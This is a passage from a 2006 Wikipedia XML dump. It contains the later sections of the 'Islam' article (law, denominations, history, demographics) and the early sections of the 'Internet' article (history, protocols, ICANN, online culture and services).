Islamic law covers all aspects of life, from the broad topics of governance and foreign relations all the way down to issues of daily living. Islamic laws which were covered expressly in the Qur'an were referred to as ''hudud'' laws. This covered the prohibition of murder, [[extra-marital sex]], drinking of alcohol and gambling. The Qur'an also details laws of inheritance, marriage, restitution for injuries and murder, as well as rules for fasting, charity, and prayer. However, the prescriptions and prohibitions may be broad, so how they are applied in practice varies. Islamic scholars, ''the ulema'', have elaborated systems of law on the basis of these broad rules, supplemented by the hadith reports of how Muhammad and his companions interpreted them. See [[Sin]] for further discussion about the concept of sin and its atonement according to the Islamic law.

In current times, not all Muslims understand the Qur'an in its original Arabic. Thus, when Muslims are divided in how to handle situations, they seek the assistance of a [[mufti]] (Islamic judge) who can advise them based on Islamic [[Sharia]] and hadith.

====Apostasy and Blasphemy====
{{main|Apostasy in Islam}}

Local Islamic communities may exclude those they regard as [[apostasy|apostates]] and [[blasphemy|blasphemers]]. In Muslim-majority states, apostasy and blasphemy are considered crimes against the state and punished, sometimes with death.

===Islamic calendar===
{{main|Islamic calendar}}

Islam dates from the Hijra, or migration from Mecca to Medina. This is year 1, AH (Anno Hegira)&amp;mdash;which corresponds to AD 622 or 622 CE, depending on the notation preferred (see [[Common  era]]). It is a [[lunar calendar]], but differs from other such calendars (e.g. the [[Celtic calendar]]) in that it omits [[intercalary month]]s, being synchronized only with [[lunation]]s, but not with the [[solar year]], resulting in years of either 354 or 355 days. This omission was introduced by Muhammad because the right to announce intercalary months had led to political power struggles.{{citation needed}} Therefore, Islamic dates cannot be converted to the usual CE/AD dates simply by adding 622 years. Islamic holy days fall on fixed dates of the lunar calendar, which means that they occur in different seasons in different years in the [[Gregorian calendar]].

==Schools (denominations)==
{{main_article|[[Divisions of Islam]]}}
[[Image:Masjidnabawi.jpg|thumb|300 px|right|Masjid al-Nabawi (Mosque of the Prophet), [[Medina]].]]
There are a number of Islamic religious denominations, each of which has significant theological and legal differences from each other but possess identical essential belief. The major schools of thought are [[Sunni Islam|Sunni]] and [[Shi'a]], with [[Sufi]]sm considered as a mystical inflection of Islam.

===Sunni===
The [[Sunni]] are  the largest group in Islam. In [[Arabic]], ''as-Sunnah'' literally means '''principle''' or '''path'''.
Sunnis and shi'ites believe that Muhammad was a perfect human being, and that they must imitate the words and acts of Muhammad as accurately as possible. In fact, the Qur'an states that the character of the Prophet Muhammad was a good example to follow. Because of this reason, the [[Hadith]] in which those words and acts are described are the main pillar of Sunni doctrine. It should be also noted that Sunnis do not believe that Muhammad was sinless(See [[Sin]]){{fact}}. 

Sunnis recognize four legal traditions ([[madhhab]]s): [[Maliki]], [[Shafi'i]], [[Hanafi]], and [[Hanbali]]. All four  accept the validity of the others and Muslims choose any one that he/she finds agreeable to his/her ideas. There are also several orthodox theological or philosophical traditions ([[kalam]]).

===Shi'a===
[[Image:Dome_of_the_rock_distance.jpg|thumb|right|300px|A view of the [[Dome of the Rock]] on the [[Temple Mount]] in [[Jerusalem]], a holy site in Islam]]
[[Shi'a]] Muslims, the second-largest branch, differ from the Sunni in rejecting the authority of the first three caliphs. They honor different traditions ([[hadith]]) and have their own legal traditions. Shi'a scholars have a larger authority than Sunni scholars and have greater room for interpretation. The [[Imams]] play a central role in Shi'a doctrine. Shi'a Muslims hold that Muhammad, his daughter Fatima and the twelve descendants of Muhammad, the [[Imams]], were all sinless and pure.

The arabic word Shi'a, litarally translates into the word 'group' or 'sect'. Originally known as Shi'at Ali (the sect of Ali), the group formed shortly after the death of Ali, in [[Iraq]]. Ali ibn Abi Talib was the cousin of prophet [[Muhammad]], and after marriage to Fatima, he also became Muhammad's son-in-law.

The Shi'a consist of one major school of thought known as the [[Ithna 'ashariyah]] or the &quot;[[Twelvers]]&quot;, and a few minor schools of thought, as the &quot;Seveners&quot; or the &quot;Fivers&quot; referring to the number of infallible leaders they recognize after the death of prophet [[Muhammad]]. The term Shi'a, when used without qualification, is usually taken to be synonymous with the Ithna Ashariyya or Twelvers. Most Shi'a live in [[Iran]], [[Iraq]] (the country where Ali passed away), [[Bahrain]], [[Lebanon]], [[India]], [[Azerbaijan]], [[Yemen]] and [[Pakistan]]. A minority group (about 4 million) of Shi'a is known as [[Ismaili]]. The Shia Ismaili branch is subdivided into [[Nizari]] Ismaili and [[Mustaali]] Bohra subsects. The Nizari Ismaili or are led by the [[Aga Khan]] and are found mainly in [[Pakistan]], [[Tajikistan]], [[Bangladesh]], India, Canada and United States. The [[Mustaali]] Bohra sect is further subdivded into Dawoodi and Sulaimanis subsects. The [[Dawoodi Bohra]]s are concentrated in Pakistan and India. The [[Sulaimani Bohra]]s are concentrated in Yemen and Najran province of Saudi Arabia.

{{see also|Historic background of the Sunni-Shi'a split}}

===Sufism===
[[Sufism]] is a spiritual practice followed by both Sunni and Shi'a. Sufis generally feel that following Islamic law or jurisprudence (or ''fiqh'') is only the first step on the path to perfect submission; they focus on the internal or more spiritual aspects of Islam, such as perfecting one's faith and fighting one's own ego (''nafs''). Most Sufi orders, or [[tariqa]], can be classified as either Sunni or Shi'a. However, there are some that are not easily categorized as either Sunni or Shi'a, such as the [[Bektashi]]. Sufis are found throughout the Islamic world, from [[Senegal]] to [[Indonesia]].

===Others===
[[Wahhabi]]s, as they are known by non-Wahhabis, are a smaller, more recent Sunni group. They prefer to be called [[Salafi]]s. Wahhabism is a movement founded by [[Muhammad ibn Abd al Wahhab]] in the [[18th century]] in what is present-day [[Saudi Arabia]]. They classify themselves as Sunni and some claim to follow the [[Hanbali]] legal tradition. The major trend, however, is the  abolition of these &quot;schools of thoughts&quot; (legal traditions), and the following of a more literalist interpretation. Some even regard other Sunni as heretics. The [[Hanbali]] legal tradition is the recognized official school of Islamic law in Saudi Arabia and they have had a great deal of influence on the Islamic world because of Saudi control of [[Mecca]] and [[Medina]], the Islamic holy places, and because of Saudi funding for mosques and schools in other countries. The majority of Saudi Islamic scholars are considered as [[Wahhabi]]s by other parts of the Islamic world. 

Sunni and Shi'a have often clashed. Some Sunni believe that Shi'a  are heretics while other Sunni recognize Shi'a as fellow Muslims. According to Shaikh Mahmood Shaltoot, head of the [[al-Azhar University]] in the middle part of the 20th century, &quot;the Ja'fari school of thought, which is also known as &quot;al-Shi'a al- Imamiyyah al-Ithna Ashariyyah&quot; (i.e. The Twelver Imami Shi'ites) is a school of thought that is religiously correct to follow in worship as are other Sunni schools of thought&quot;. Al-Azhar later distanced itself from this position.

Another sect which dates back to the early days of Islam is that of the [[Kharijites]]. The only surviving branch of the Kharijites are the [[Ibadi|Ibadhi Muslim]]s. Ibadhism is distinguished from Shiism by its belief that the Imam (Leader) should be chosen solely on the basis of his faith, not on the basis of descent, and from Sunnism in its rejection of [[Uthman]] and [[Ali]] and strong emphasis on the need to depose unjust rulers.  Ibadhi Islam is noted for its strictness, but, unlike the Kharijites proper, Ibadhis do not regard major sins as automatically making a Muslim an unbeliever. Most Ibadhi Muslims live in [[Oman]].

Another trend in modern Islam is that which is sometimes called progressive. Followers may be called [[Ijtihadists]]. They may be either Sunni or Shi'ite, and generally favor the development of  personal interpretations of Qur'an and Hadith. ''See'': [[Liberal Islam]]

One very small group, based primarily in the United States, follows the teachings of [[Rashad Khalifa]] and calls itself the &quot;Submitters&quot;. They reject the [[Hadith]] and [[Fiqh]], and say that they follow the Qur'an alone. They also consider Khalifa the next prophet after [[Muhammad]] (Rashad Khalifa self-proclaimed himself as a prophet). Most Muslims of both the [[Sunni]] and the [[Shia]] branches consider this group to be heretical. Some Muslims, however, will reject Khalifa's prophet status but will also reject both the Fiqh and the Hadith.

==Religions based on Islam==
The following groups consider themselves Muslims, but are not considered Islamic by the majority of Muslims or Muslim authorities:
* The [[Nation of Islam]] (based in the United States)
* The [[Zikri]]s
* The [[Ahmadiyya]] Movement (also called Qadiani)
* The [[Al-Ahbash]] (also called Habashies / AICP)

The following consider themselves Muslims but acceptance by the larger Muslim community varies:
* The [[Druze]]
* The [[Alawites]] (Alnusairiya)

The following religions are said by some to have evolved or borrowed from Islam, in almost all cases influenced by traditional beliefs in the regions where they emerged, but consider themselves independent religions with distinct laws and institutions:
* [[Yazidi]]
* [[Bábís|Bábísm]] (now called [[Bayani]]s)
* [[Bahá'í Faith]]

The claim of the adherents of the Bahá'í Faith that it represents an independent religion was upheld by the Muslim ecclesiastical courts in Egypt during the 1920s. As of January [[1926]], their final ruling on the matter of the origins of the Bahá'í Faith and its relationship to Islam was that the Bahá'í Faith was neither a sect of Islam, nor a religion based on Islam, but a clearly defined, independently founded faith. This was seen as a considerate act on the part of the ecclesiastical court and in favor of followers of Bahá'í Faith since the majority of Muslims regard a ''religion based on Islam'' as a heresy.

Some see [[Sikhism]] as a [[syncretism|syncretic]] mix of Islam and [[Hinduism]], although it is often considered a [[Dharma|Dharmic]] faith rather than an Islamic or [[Abrahamic]] one. It arose in the context of the interaction between [[Hindu]] and Muslim communities in [[North India]].

The following religions might have been said to have evolved from Islam, but are not considered part of Islam, and no longer exist:
* The religion of the medieval [[Berghouata]]
* The religion of [[Ha-Mim]]

==Islam and other religions==
{{main|Islam and other religions}}

The Qur'an contains injunctions to respect other religions. It also asks the followers to fight and subdue unbelievers in times of war and &quot;evict them whence they evicted you&quot; (Al-Qur'an 2:191). Some Muslims have respected Jews and Christians as fellow &quot;peoples of the book&quot; (monotheists following [[Abrahamic religions]]), while others have reviled them as having abandoned monotheism and corrupted their scriptures. At different times and places, Islamic communities have been both intolerant and tolerant.

The classical Islamic solution was a limited tolerance &amp;mdash; Jews and Christians were to be allowed to privately practice their faith and follow their own family law. They were called [[Dhimmis]], and they had fewer though similar legal rights and obligations than Muslims.

The classic Islamic state was often more tolerant than many other states of the time, which insisted on complete conformity to a state religion. The record of contemporary Muslim-majority states is mixed. Some are generally regarded as tolerant, while others have been accused of intolerance and human rights violations. See the main article, [[Islam and other religions]], for further discussion.

==History==
{{main|History of Islam}}

Modern Islamic history begins in [[Arabia]] in the [[7th century]] with the emergence of the prophet [[Muhammad]]. Within a century of his death, an Islamic state stretched from the [[Atlantic ocean]] in the west to [[central Asia]] in the east, which, however, was soon torn by civil wars ([[fitna]]s). After this, there would always be rival dynasties claiming the [[caliphate]], or leadership of the Muslim world, and many Islamic states or empires offering only token obedience to an increasingly powerless [[caliph]].

Nonetheless, the later empires of the [[Abbasid]] caliphs and the [[Seljuk Turks]] were among the largest and most powerful in the world. After the disastrous defeat of the Byzantines at the [[Battle of Manzikert]] in [[1071]], Christian Europe launched a series of [[Crusades]] and for a time captured Jerusalem. [[Saladin]], however, restored unity and defeated the [[Shiite]] [[Fatimid]]s.

From the 14th to the 17th centuries, one of the most important Muslim territories was the [[Mali Empire]], whose capital was [[Timbuktu]].

In the 18th century, there were three great Muslim empires: the [[Ottoman empire|Ottoman]] in Turkey, the Middle East, and the Mediterranean; the [[Safavid]] in Iran; and the [[Mogul]] in India. By the [[19th century]], these realms had fallen under the sway of European political and economic power. Following [[WWI]], the remnants of the Ottoman empire were parceled out as European [[protectorate]]s or [[sphere of influence|spheres of influence]]. Islam and Islamic political power have revived in the [[20th century]]. However, the relationship between the West and the Islamic world remains uneasy.

===Contemporary Islam===
[[Image:Islam by country.png|thumb|right|300px|Countries with Muslim populations over 10% of total (source - [[CIA]] [[World Factbook]], 2004). The darker green represents a [[Sunni]] majority and the light green represents a [[Shia]] majority.]]

Although the most prominent movement in Islam in recent times has been [[fundamentalism|fundamentalist]] [[Islamism]], there are a number of [[liberal movements within Islam]], which seek alternative ways to align the Islamic faith with contemporary questions.

Early [[Sharia]] had a much more flexible character than is currently associated with [[Islamic jurisprudence]], and many modern Muslim scholars believe that it should be renewed, and the classical jurists should lose their special status. This would require formulating a new [[fiqh]] suitable for the modern world, e.g. as proposed by advocates of the [[Islamization of knowledge]], and would deal with the modern context. One vehicle proposed for such a change has been the revival of the principle of [[ijtihad]], or independent reasoning by a qualified Islamic scholar, which has lain dormant for centuries.

This movement does not aim to challenge the fundamentals of Islam; rather, it seeks to clear away misinterpretations and to free the way for the renewal of the previous status of the Islamic world as a centre of modern thought and freedom. (See [[Modern Islamic philosophy]] for more on this subject.)

Many Muslims counter the claim that only &quot;liberalization&quot; of the Islamic Sharia law can lead to distinguishing between [[tradition]] and true Islam by saying that meaningful &quot;fundamentalism&quot;, by definition, will eject non-Islamic cultural inventions &amp;mdash; for instance, acknowledging and implementing Muhammad's insistence that women have God-given rights that no human being may legally infringe upon. Proponents of modern Islamic philosophy sometimes respond to this by arguing that, as a practical matter, &quot;fundamentalism&quot; in popular discourse about Islam may actually refer, not to core precepts of the faith, but to various systems of cultural traditionalism.

===The demographics of Islam today===
{{main articles|[[Islam by country]] and [[Demographics of Islam]]}}
Based on the percentages published in the [[2005]] [[CIA World Factbook]] ([http://www.cia.gov/cia/publications/factbook/geos/xx.html &quot;World&quot;]), Islam is the second largest religion in the world. According to the [http://www.wnrf.org/news/trends.html World Network of Religious Futurists], the [http://www.religioustolerance.org/growth_isl_chr.htm U.S. Center for World Mission], and the controversial [[Samuel P. Huntington|Samuel Huntington]], Islam is growing faster numerically than any of the other [[major world religions]]. [http://www.religioustolerance.org/isl_numb.htm Ontario Consultants on Religious Tolerance] estimate that it is growing at about 2.9% annually, as opposed to 2.3% per year global population growth. Non-Muslim observers attribute this growth to the higher birth rates in many Islamic countries (six out of the top-ten countries in the world with the highest birth rates are majority Muslim[http://www.nationmaster.com/graph-T/peo_bir_rat&amp;int=10]). A recent demographic study, however, has determined that some the birth rates of some Muslim countries are plummeting to the levels of western countries [http://www.atimes.com/atimes/Front_Page/GH23Aa01.html].

Commonly cited estimates of the Muslim population today range  between 900 million and 1.4 billion people (cf. [http://www.adherents.com/Religions_By_Adherents.html Adherents.com]); estimates of [[Islam by country]] based on U.S. State Department figures yield a total of 1.48 billion, while the Muslim delegation at the United Nations quoted 1.2 billion as the global Muslim population in September 2005.

Only 18% of [[Muslim|Muslims]] live in the [[Arab]] world; 20% are found in Sub-Saharan Africa, about 30% in the [[South Asia]]n region of [[Pakistan]], [[India]] and [[Bangladesh]], and the world's largest single Muslim community (within the bounds of one nation) is in [[Indonesia]]. There are also significant Muslim populations in [[China]], [[Europe]], [[Central Asia]], and [[Russia]].

[[Islam in Austria|Austria]] was the first European country to recognize Islam as an official religion, while [[France]] has the highest Muslim population of any nation in Western Europe, with up to 6 million Muslims (10% of the population [http://www.cia.gov/cia/publications/factbook/geos/fr.html#People]). [[Albania]] is said to have the highest proportion of Muslims as part of its population in Europe (70%), although this figure is only an estimate (see [[Islam in Albania]]). The number of Muslims in [[North America]] is variously estimated as anywhere from 1.8  to 7 million.

==Symbols of Islam==
{{main|Islamic symbols}}
&lt;!-- Unsourced image removed: [[Image:Green Shahada crescent.png|150px|thumb|right| This green star and crescent are composed of [[Caligraphy#Middle_eastern_calligraphy|Arabic calligraphy]] representing the [[Basmala|''Basmala'']], the first verse of the Qur'an, and the [[shahadah|''Shahādah'']], the Muslim confession of faith.]] --&gt;

Muslims do not accept any icon or color as sacred to Islam, as worshipping symbolic or material things is against the spirit of monotheism. Many people assume that the [[star and crescent]] symbolize Islam, but these were actually the insignia of the [[Ottoman Empire]], not of Islam as a whole. The color green is often associated with Islam as well; this is custom and not prescribed by religious scholars. However, Muslims will often use elaborately calligraphed verses from the [[Qur'an]] and pictures of the Ka'bah as decorations in mosques, homes, and public places. The Quranic verses are believed to be sacred.

==See also==
{{Further|[[:Category:Islam|List of Islamic and Muslim-related topics]]}}
{|
|- style=&quot;vertical-align: top;&quot;
|
* [[Adhan]] (also called azan or aazan)
* [[Christo-Islamic]]
* [[Criticism of Islam]]
* [[Dawah]]
* [[Ihsan]]
* [[Jinns]]
* [[Islamic economics]]
* [[Islamic feminism]]
* [[Islamic literature]]
* [[List of converts to Islam]]
* [[List of Muslims]]
* [[Timeline of Islamic history]]
* [[Religion]]
* [[Sin]]
|}

==References==
* ''[[Encyclopedia of Islam]]''
* Arberry, A. J. ''The Koran Interpreted: a translation by A. J. Arberry''. Touchstone, ISBN 0684825074
* Kramer, Martin. ''The Islamism Debate''. University Press, (1997) ISBN 9652240249
* Kurzman, Charles. ''Liberal Islam: A Sourcebook''. Oxford University Press, (1998) ISBN 0195116224
* Rahman, Fazlur. ''Islam''. University of Chicago Press; 2nd  edition, (1979) ISBN 0226702812
* Safi, Omid. ''Progressive Muslims: On Justice, Gender and Pluralism''. Oneworld Publications, (2003) ISBN 1-85168-316-X
* Tibi, Bassam. ''The Challenge of Fundamentalism: Political Islam  and the New World Disorder''. Univ. of California Press, (1998) ISBN 0520088689

==External links==
{{wikiquote}}
===Academic sources===
*[http://philtar.ucsm.ac.uk/encyclopedia/islam/ Encyclopedia of  Islam (Overview of World Religions)]
*[http://www.arches.uga.edu/~godlas/home.html Resources for Studying Islam] (Department of Islamic Studies, University of  Georgia)
*[http://arabworld.nitle.org/introduction.php?module_id=2 Unit on Islam] from the [[NITLE]] [http://arabworld.nitle.org/index.php Arab Culture and Civilization Online Resource]

===Directories===
*Islam in [http://wwwuser.gwdg.de/~mriexin/euroislam.html Western Europe], [http://wwwuser.gwdg.de/~mriexin/UKIslam.html the United Kingdom], [http://wwwuser.gwdg.de/~mriexin/DIslam.html Germany] and [http://wwwuser.gwdg.de/~mriexin/sasislam.html South Asia]
*[http://dmoz.org/Society/Religion_and_Spirituality/Islam/ Dmoz.org Open Directory Project: Islam] (a list of links with information about Islam)
* [http://dmoz.org/Society/Religion_and_Spirituality/Opposing_Views/ Dmoz.org Open Directory Project: Contra Islam] (a list of links critical of World Religions)

===Islam and the arts, sciences, &amp; philosophy===
*[http://www.lacma.org/islamic_art/intro.htm Islamic Art] (Los  Angeles County Museum of Art)
*[http://www.muslimheritage.com/ Muslim Heritage] (Foundation for Science Technology and Civilisation, UK)
*[http://www.islamicarchitecture.org/ Islamic Architecture (IAORG)] illustrated descriptions and reviews of a large number of mosques, palaces, and monuments.
*[http://www.muslimmuseum.org/ The International Museum of Muslim Cultures], Jackson, MS. Features exhibits on Islamic Moorish Spain and the Timbuktu Manuscripts.
*[http://www.muslimphilosophy.com/ Islamic Philosophy] (Journal of Islamic Philosophy, University of Michigan)
*[http://www.muslimheritage.com/ Muslim heritage]
*[http://www.ummah.net/history/scholars/ Famous muslim scientists &amp; scholars]


[[Category:Islam| ]]
[[Category:Religious faiths, traditions, and movements]]

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[[zh:伊斯兰教]]</text>
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  </page>
  <page>
    <title>Internet</title>
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    <revision>
      <id>42126917</id>
      <timestamp>2006-03-04T00:17:12Z</timestamp>
      <contributor>
        <username>Where</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/70.162.121.24|70.162.121.24]] to last version by Omniplex</comment>
      <text xml:space="preserve">:''For the more general networking concept, see [[internetworking]].''

The '''Internet''', or simply the '''Net''', is the [[public]]ly accessible worldwide system of interconnected [[computer network]]s that transmit [[data]] by [[packet switching]] using a standardized [[Internet Protocol]] (IP). It is made up of thousands of smaller [[commercial]], [[academic]], [[domestic]], and [[government]] networks. It carries various [[information]] and services, such as [[electronic mail]], [[online chat]], and the interlinked [[Web page]]s and other documents of the [[World Wide Web]].

Contrary to some common usage, the Internet and the [[World Wide Web]] are not synonymous: the Internet is a collection of interconnected ''computer networks'', linked by copper wires, [[optical fiber|fiber-optic]] cables, etc.; the Web is a collection of interconnected ''documents'', linked by [[hyperlinks]] and [[URL]]s, and is accessible using the Internet.  The confusion between these two by the general public is often parodied by such phrases as &quot;the interweb&quot;.

==Creation of the Internet==
{{main|History of the Internet}}
The [[USSR]]'s launch of [[Sputnik]] spurred the [[United States|U.S.]] to create the [[DARPA|Defense Advanced Research Projects Agency (DARPA)]] in February 1958 to regain a technological lead.  DARPA created the [[Information Processing Technology Office]] to further the research of the [[Semi Automatic Ground Environment]] program, which had networked country-wide radar systems together for the first time.  [[J. C. R. Licklider]] was selected to head the IPTO, and saw universal networking as a potential unifying human revolution.  Licklider recruited [[Lawrence Roberts (scientist)|Lawrence Roberts]] to head a project to implement a network, and Roberts based the technology on the work of [[Paul Baran]] who had written an exhaustive study for the U.S. Air Force that recommended [[packet switching]] to make a network highly robust and survivable.  After much work, the first node went live at [[UCLA]] on [[October 29]], 1969 on what would be called the [[ARPANET]], the &quot;eve&quot; network of today's Internet. The vast majority of today's Internet uses version four of the IP protocol (i.e. IPv4), and although IPv6 is standardised, it exists only as &quot;Islands&quot; of connectivity, and there are many ISPs who don't have any IPv6 connectivity at all.
[http://www.livinginternet.com]

The first TCP/IP wide area network was operational by [[January 1]], 1983 (this is technically the birth of the Internet), when the United States' [[National Science Foundation|National Science Foundation]] (NSF) constructed a university network backbone that would later become the [[NSFNet]]. It was then followed by the opening of the network to commercial interests in 1995. Important separate networks that offered gateways into, then later merged into the Internet include [[Usenet]], [[Bitnet]] and the various commercial and educational [[X.25]] networks such as [[Compuserve]] and [[JANET]]. The ability of [[TCP/IP]] to work over these pre-existing communication networks allowed for a great ease of growth. Use of Internet as a phrase to describe a single global TCP/IP network originated around this time.

The network gained a public face in the 1990s. In August 1991 [[CERN]] in [[Switzerland]] publicized the new World Wide Web project, two years after  [[Tim Berners-Lee]] had begun creating [[HTML]], [[HTTP]] and the first few web pages at [[CERN]] in [[Switzerland]]. In 1993 the [[National Center for Supercomputing Applications]] at the [[University of Illinois at Urbana-Champaign]] released the [[Mosaic (web browser)|Mosaic web browser]] version 1.0, and by late 1994 there was growing public interest in the previously academic/technical Internet. By 1996 the word &quot;Internet&quot; was common public currency, but it referred almost entirely to the [[World Wide Web]].

Meanwhile, over the course of the decade, the Internet successfully accommodated the majority of previously existing public computer networks (although some networks such as [[FidoNet]] have remained separate). This growth is often attributed to the lack of central administration, which allows organic growth of the network, as well as the non-proprietary open nature of the Internet protocols, which encourages vendor interoperability and prevents any one company from exerting too much control over the network.

==Today's Internet==
Aside from the complex physical connections that make up its infrastructure, the Internet is held together by bi- or multi-lateral commercial contracts (for example [[peering agreement]]s) and by technical specifications or [[Communications protocol|protocol]]s that describe how to exchange [[data]] over the network.

Indeed, the Internet is essentially defined by its interconnections and routing policies. In an often-cited, if perhaps gratuitously mathematical definition, [[Seth Breidbart]] once described the Internet as &quot;the largest [[equivalence class]] in the [[equivalence relation|reflexive, transitive, symmetric]] [[closure (mathematics)|closure]] of the [[binary relation|relationship]] 'can be reached by an IP packet from'&quot;.

As of January 2006, over 1 billion people use the Internet according to [http://www.internetworldstats.com/stats.htm Internet World Stats].


===Internet protocols===
In this context, there are three layers of protocols:
* at the lowest level is IP - the datagram which carries a block of data from one node to another
* next comes TCP &amp; UDP - the protocols by which one host exchanges data with another - the former making a virtual circuit giving some level of guarantee of reliability, the latter being a best-effort connection-less transport
* on top comes the application protocol - the specific messages or data stream used by the application running on the hosts to talk to each other.

Unlike older communications systems, the [[Internet protocol suite]] was deliberately designed to be independent of the underlying physical medium. Any communications network, wired or wireless, that can carry two-way digital data can carry [[Internet traffic]]. Thus, Internet packets flow through wired networks like copper wire, coaxial cable, and fibre optic; and through wireless networks like [[Wi-Fi]]. Together, all these networks, sharing the same high-level protocols, form the Internet.

The Internet protocols originate from discussions within the Internet Engineering Task Force ([[IETF]]) and its [[IETF Working Group|working groups]], which are open to public participation and review. These committees produce documents that are known as [[Request for Comments]] documents (RFCs). Some RFCs are raised to the status of [[Internet Standard]] by the IETF process.

Some of the most used application protocols in the [[Internet protocol suite]] are [[Internet Protocol|IP]], [[Transmission Control Protocol|TCP]], [[User Datagram Protocol|UDP]], [[Domain Name System|DNS]], [[Point-to-Point Protocol|PPP]], [[Serial line IP|SLIP]], [[ICMP]], [[Post Office Protocol|POP3]], [[Internet Message Access Protocol|IMAP]], [[Simple Mail Transfer Protocol|SMTP]], [[HTTP]], [[HTTPS]], [[Secure shell|SSH]], [[Telnet]], [[File Transfer Protocol|FTP]], [[Lightweight Directory Access Protocol|LDAP]], [[Secure Sockets Layer|SSL]], and [[Transport Layer Security|TLS]].

Some of the popular services on the Internet that make use of these protocols are [[e-mail]], [[Usenet]] newsgroups, [[file sharing]], [[Instant Messenger]], the [[World Wide Web]], [[Gopher protocol|Gopher]], [[Session (computer science)|session access]], [[Wide area information server|WAIS]], [[finger protocol|finger]], [[Internet relay chat|IRC]], [[MUD]]s, and [[MUSH]]s. Of these, e-mail and the World Wide Web are clearly the most used, and many other services are built upon them, such as [[mailing list]]s and [[blog]]s. The Internet makes it possible to provide real-time services such as [[Internet radio]] and [[webcast]]s that can be accessed from anywhere in the world.

Some other popular services of the Internet were not created this way, but were originally based on proprietary systems. These include [[Internet relay chat|IRC]], [[ICQ]], [[AOL Instant Messenger|AIM]], and [[Gnutella]], although all of those mentioned now have Free implementations, which in some cases are the most commonly used.

=== Internet structure ===

There have been many analyses of the Internet and its structure. For example, it has been determined that the Internet IP routing structure and hypertext links of the World Wide Web are examples of [[scale-free network]]s.

Similar to how the commercial Internet providers connect via [[Internet exchange point]]s, research networks tend to interconnect into large subnetworks such as:

*[[GEANT]]
*[[GLORIAD]]
*[[Internet2]]
*[[JANET]] (the UK's Joint Academic Network aka UKERNA)

These in turn are built around relatively smaller networks. See also the list of [[:Category:Academic computer network organizations|academic computer network organizations]]

In network [[schematic]] diagrams, the Internet is often represented by a [[cloud]] symbol, into and out of which network communications can pass.

===ICANN===
{{main|ICANN}}
'''The Internet Corporation for Assigned Names and Numbers (ICANN)''' is the authority that coordinates the assignment of unique identifiers on the Internet, including domain names, Internet protocol addresses, and protocol port and parameter numbers.  A globally unified namespace (i.e., a system of names in which there is one and only one holder of each name) is essential for the Internet to function.  ICANN is headquartered in Marina del Rey, California, but is overseen by an international board of directors drawn from across the Internet technical, business, academic, and non-commercial communities.  The US government continues to have a privileged role in approving changes to the root zone file that lies at the heart of the domain name system.  Because the Internet is a distributed network comprising many voluntarily interconnected networks, the Internet, as such, has no governing body.  ICANN's role in coordinating the assignment of unique identifiers distinguishes it as perhaps the only central coordinating body on the global Internet, but the scope of its authority extends only to the Internet's systems of domain names, Internet protocol addresses, and protocol port and parameter numbers.

==Internet culture==
The Internet is also having a profound impact on [[career|work]], [[leisure]], [[knowledge]] and [[worldview]]s.

[[Image:WorldWideWebAroundWikipedia.png|thumb|300px|Graphic representation of a very small part of the [[World Wide Web|WWW]], representing some of the [[hyperlink]]s]]

===The World Wide Web===
{{main|World Wide Web}}
Through [[keyword]]-driven [[Internet research]] using [[search engine]]s like [[Google (search engine)|Google]], millions worldwide have easy, instant access to a vast and diverse amount of online information. Compared to [[encyclopaedia]]s and traditional [[library|libraries]], the World Wide Web has enabled a sudden and extreme decentralization of information and data.

Some companies and individuals have adopted the use of 'weblogs' or [[blog]]s, which are largely used as easily-updatable online diaries.  Some commercial organizations encourage staff to fill them with advice on their areas of specialization in the hope that visitors will be impressed by the expert knowledge and free information, and be attracted to the corporation as a result. One example of this practice is [[Microsoft]], whose product [[developer]]s publish their personal blogs in order to pique the public's interest in their work.

For more information on the distinction between the World Wide Web and the Internet itself — as in everyday use the two are sometimes confused — see [[Dark internet]] where this is discussed in more detail.

===Remote access===
The Internet allows computer users to connect to other computers and information stores easily, wherever they may be across the world.
They may do this with or without the use of security, authentication and encryption technologies, depending on the requirements.

This is encouraging new ways of working from home, collaboration and information sharing in many industries. An [[Accountancy|accountant]] sitting at home can [[audit]] the books of a company based in another country, on a [[server]] situated in a third country that is remotely maintained by IT specialists in a fourth. These accounts could have been created by home-working book-keepers, in other remote locations, based on information e-mailed to them from offices all over the world. Some of these things were possible before the widespread use of the Internet, but the cost of private, [[leased line]]s would have made many of them infeasible in practice.

An office worker away from his desk, perhaps the other side of the world on a business trip or a holiday, can open a [[Remote Desktop Protocol|remote desktop]] session into his normal office PC using a secure [[Virtual Private Network]] (VPN) connection via the Internet. This gives him complete access to all his normal files and data, including e-mail and other applications, while he is away.

This concept is also referred to by some network security people as the Virtual Private Nightmare, because it extends the secure perimeter of a corporate network ''into its employees' homes''; this has been the source of some notable security breaches.

===Collaboration===
This low-cost and nearly instantaneous sharing of ideas, knowledge and skills has revolutionized some, and given rise to whole new, areas of human activity.  One example of this is the [[collaboration|collaborative]] development and distribution of [[Free/Libre/Open-Source Software]] (FLOSS) such as [[Linux]], [[Mozilla]] and [[OpenOffice.org]].  See [[Collaborative software]].

===File-sharing===
{{main|File sharing}}

A [[computer file]] can be [[Electronic mail|e-mailed]] to customers, colleagues and friends as an [[E-mail attachment|attachment]]. It can be uploaded to a [[website]] or [[File transfer protocol|FTP]] server for easy download by others. It can be put into a &quot;shared location&quot; or onto a [[file server]] for instant use by colleagues. The load of bulk downloads to many users can be eased by the use of &quot;[[mirror (computing)|mirror]]&quot; servers or [[peer-to-peer]] networking.

In any of these cases, access to the file may be controlled by user [[authentication]]; the transit of the file over the Internet may be obscured by [[encryption]] and money may change hands before or after access to the file is given. The price can be paid by the remote charging of funds from, for example a [[credit card]] whose details are also passed - hopefully fully encrypted - across the Internet. The origin and authenticity of the file received may be checked by [[digital signature]]s or by [[MD5]] or other message digests.

These simple features of the Internet, over a world-wide basis, are changing the basis for the production, sale and distribution of many types of product, wherever they can be reduced to a computer file for transmission. This includes all manner of office documents, publications, software products, [[music]], photography, video, animations, graphics and the other arts. This in turn is causing seismic shifts in each of the existing industry associations, such as the [[RIAA]] and [[MPAA]] in the USA, that previously controlled the production and distribution of these products in that country.

===Streaming media and VoIP===
Many existing radio and television broadcasters have provided Internet 'feeds' of their live audio and video streams (for example, the [[BBC#Internet|BBC]]).  They have been joined by a range of pure Internet 'broadcasters' who never had on-air licences.  This means that an Internet-connected device, such as a computer or something more specific, can be used to access on-line media in much the same way as was previously possible only with a TV or radio receiver.  The range of material is much wider, from pornography to highly specialised technical web-casts.  The simplest equipment can allow anybody, with little censorship or licensing control, to broadcast on a worldwide basis.  Time-shift viewing or listening is not a problem as the BBC have shown with their Preview, Classic Clips and Listen Again features.

